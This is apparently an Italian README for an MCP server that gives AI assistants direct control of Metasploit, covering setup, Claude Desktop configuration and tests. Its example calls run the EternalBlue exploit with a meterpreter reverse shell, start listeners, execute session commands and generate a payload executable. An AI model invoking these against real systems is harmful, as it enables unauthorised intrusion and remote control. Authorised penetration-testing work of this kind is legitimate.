MCP Server per Metasploit
Un server Model Context Protocol (MCP) per l'integrazione con Metasploit Framework.
https://github.com/user-attachments/assets/39b19fb5-8397-4ccd-b896-d1797ec185e1
Questo server MCP fornisce un ponte tra modelli linguistici di grandi dimensioni come Claude e la piattaforma di penetration testing Metasploit Framework. Consente agli assistenti AI di accedere e controllare dinamicamente le funzionalità di Metasploit tramite strumenti standardizzati, offrendo un'interfaccia in linguaggio naturale per flussi di lavoro complessi di test di sicurezza.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Opzionale: dove salvare i payload generati
Avvia il servizio RPC di Metasploit:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
Il server supporta due metodi di trasporto:
Puoi selezionare esplicitamente la modalità di trasporto usando il flag --transport:
# Esegui con trasporto HTTP/SSE (predefinito)
python MetasploitMCP.py --transport http
# Esegui con trasporto STDIO
python MetasploitMCP.py --transport stdio
Opzioni aggiuntive per la modalità HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Per l'integrazione con Claude Desktop, configura claude_desktop_config.json:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
Per altri client MCP che utilizzano HTTP/SSE:
Avvia il server in modalità HTTP:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Configura il tuo client MCP per connettersi a:
http://your-server-ip:8085/sse⚠️ IMPORTANTE AVVISO DI SICUREZZA:
Questo strumento fornisce accesso diretto alle funzionalità di Metasploit Framework, che includono potenti funzioni di exploitation. Usalo in modo responsabile e solo in ambienti in cui hai l'autorizzazione esplicita a eseguire test di sicurezza.
list_exploits("ms17_010")run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})list_active_sessions()send_session_command(1, "whoami")run_post_module("windows/gather/enum_logged_on_users", 1)send_session_command(1, "sysinfo")terminate_session(1)start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)list_listeners()generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})stop_job(1)Questo progetto include test unitari e di integrazione completi per garantire affidabilità e manutenibilità.
Installa le dipendenze di test:
pip install -r requirements-test.txt
Oppure usa l'installer conveniente:
python run_tests.py --install-deps
# OPPURE
make install-deps
# Esegui tutti i test
python run_tests.py --all
# OPPURE
make test
# Esegui con report di copertura
python run_tests.py --all --coverage
# OPPURE
make coverage
# Esegui con report di copertura HTML
python run_tests.py --all --coverage --html
# OPPURE
make coverage-html
# Solo test unitari
python run_tests.py --unit
# OPPURE
make test-unit
# Solo test di integrazione
python run_tests.py --integration
# OPPURE
make test-integration
# Test di parsing delle opzioni
python run_tests.py --options
# OPPURE
make test-options
# Test delle funzioni helper
python run_tests.py --helpers
# OPPURE
make test-helpers
# Test degli strumenti MCP
python run_tests.py --tools
# OPPURE
make test-tools
# Includi test lenti
python run_tests.py --all --slow
# Includi test di rete (richiede una rete reale)
python run_tests.py --all --network
# Output verboso
python run_tests.py --all --verbose
# Test rapido (senza copertura, fermati al primo errore)
make quick-test
# Modalità debug (informazioni dettagliate sugli errori)
make test-debug
tests/test_options_parsing.py: Test unitari per la funzionalità di parsing delle opzionitests/test_helpers.py: Test unitari per le funzioni helper interne e la gestione del client MSFtests/test_tools_integration.py: Test di integrazione per tutti gli strumenti MCP con backend Metasploit simulato (mock)conftest.py: Fixture di test condivise e configurazionepytest.ini: Configurazione pytest con impostazioni di copertura